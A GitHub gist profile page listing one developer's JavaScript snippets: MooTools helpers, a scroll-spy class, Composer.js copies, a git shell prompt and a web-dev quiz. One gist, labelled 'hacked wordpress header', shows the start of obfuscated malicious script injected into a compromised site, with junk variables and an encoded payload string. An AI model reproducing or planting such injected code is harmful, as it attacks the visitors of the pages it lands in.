Skip to content

Instantly share code, notes, and snippets.

View DimitarChristoff's full-sized avatar

Dimitar Christoff DimitarChristoff

  • Marketaxess
  • London
View GitHub Profile
@DimitarChristoff
DimitarChristoff / outerclick.js
Created February 17, 2012 11:21
Element.Events.outerClick
Element.Events.outerClick = Element.Events.outerClick || {
base : 'click',
condition : function(event){
event.stopPropagation();
return false;
},
onAdd : function(fn){
this.getDocument().addEvent('click', fn);
},
onRemove : function(fn){
@DimitarChristoff
DimitarChristoff / Asset.templates.js
Created February 8, 2012 12:24
Loading a bunch of external templates through mootools
/*
---
name: Asset.templates
description: lazy-loading templates via Request.HTML and storing them for later under a key
authors: Dimitar Christoff
license: MIT-style license.
version: 1.1
requires:
- Core/Request
@DimitarChristoff
DimitarChristoff / bootstrap-scrollspy.js
Created February 5, 2012 19:19
initial draft of a scroll spy like in twitter by arian. to be made more like js garden one.
var BootstrapScrollSpy = new Class({
initialize: function(element, wrapper){
element = this.element = document.id(element);
this.wrapper = wrapper || window;
var links = this.links = element.getElements('a');
var elements = this.elements = [];
links.each(function(el){
@DimitarChristoff
DimitarChristoff / Composer-moo.js
Created January 30, 2012 12:50
composer test via ovcerloadSetter
/**
* Composer.js is an MVC framework for creating and organizing javascript
* applications. For documentation, please visit:
*
* http://lyonbros.github.com/composer.js/
*
* -----------------------------------------------------------------------------
*
* Copyright (c) 2011, Lyon Bros Enterprises, LLC. (http://www.lyonbros.com)
*
@DimitarChristoff
DimitarChristoff / Composer.js
Created January 30, 2012 11:45
composer test
/**
* Composer.js is an MVC framework for creating and organizing javascript
* applications. For documentation, please visit:
*
* http://lyonbros.github.com/composer.js/
*
* -----------------------------------------------------------------------------
*
* Copyright (c) 2011, Lyon Bros Enterprises, LLC. (http://www.lyonbros.com)
*
@DimitarChristoff
DimitarChristoff / .bash_profile.rc
Created January 26, 2012 08:54
new git prompt
function git_prompt {
local STATUS=`git status 2>&1`
if [[ "$STATUS" != *'Not a git repository'* ]]
then
if [[ "$STATUS" == *'working directory clean'* ]]
then
echo -e "\033[0;32m$(__git_ps1)\033[m"
else
echo -e "\033[0;31m$(__git_ps1)\033[m"
fi
@DimitarChristoff
DimitarChristoff / java exploit.js
Created November 5, 2011 10:31
hacked wordpress header
var qTbPndRDkwJlutcricKxUxEtI = '';
nfSlyjfZ = 'AsjuH';
var lYjMVPyBNRjWFrj = 'elPQGexZleNfOzzJAaMkkzlTqyRybfPKNhztREiXZXUKmvXG';
JlrmrXCfprpeygyuxRDrVtG = 'ptaWQnnPGeEyikhb';
var bRtTmUNExebnOgU = 0;
ZeUEyxvnsz = 'lJJLhKl';
var trpZvTo = '%50%39%37%35%04%15%3F%4C%16%3C%05%72%58%12%3E%35%11%77%44%44%14%09%26%5C%18%3E%15%07%14%7E%28%21%05%55%1D%3C%6B%0A%3F%33%67%31%2E%0B%17%2D%2B%11%4E%70%37%35%04%15%3F%0E%0A%3C%02%2A%08%47%68%71%43%6D%18%08%08%03%38%1D%10%3C%1E%5F%44%3E%24%6C%48%12%11%3B%22%01%2C%67%7A%64%69%4D%01%31%23%11%04%6D%73%76%47%58%32%1F%15%2F%05%2A%47%58%7B%63%41%3B%18%1B%1B%0F%31%4C%5B%63%5B%42%0B%31%39%29%01%14%03%3B%21%1D%30%67%7A%65%69%4D%1B%39%35%02%05%3E%39%22%0C%1F%32%18%58%6C%56%6D%44%46%65%28%07%3F%0A%06%1F%52';
rKaiufozUtGqm = 'nxPLuYyllyPDEaUxwqdgjA';
var XpShCCqY = trpZvTo.length / 3;
olVZDdvX = 'wKkirrrGELpwxommU';
@DimitarChristoff
DimitarChristoff / test.txt
Created August 15, 2011 10:15
web dev test
1. Which of the following will not add john to the users array?
array_add($users,'john');
array_push($users,'john');
$users[] = 'john';
$users ||= 'john';
this.replaceURL = function(old, newurl) {
var x = document.evaluate('//script[@type="text/javascript" and @src="'+old+'"]', document, null, XPathResult.UNORDERED_NODE_ITERATOR_TYPE, null);
var oldScript = x.iterateNext();
if (!oldScript)
return;
oldScript.src = newurl;
console.log(oldScript);
};
replaceURL("http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js", "http://ajax.googleapis.com/ajax/libs/mootools/1.3.2/mootools-yui-compressed.js");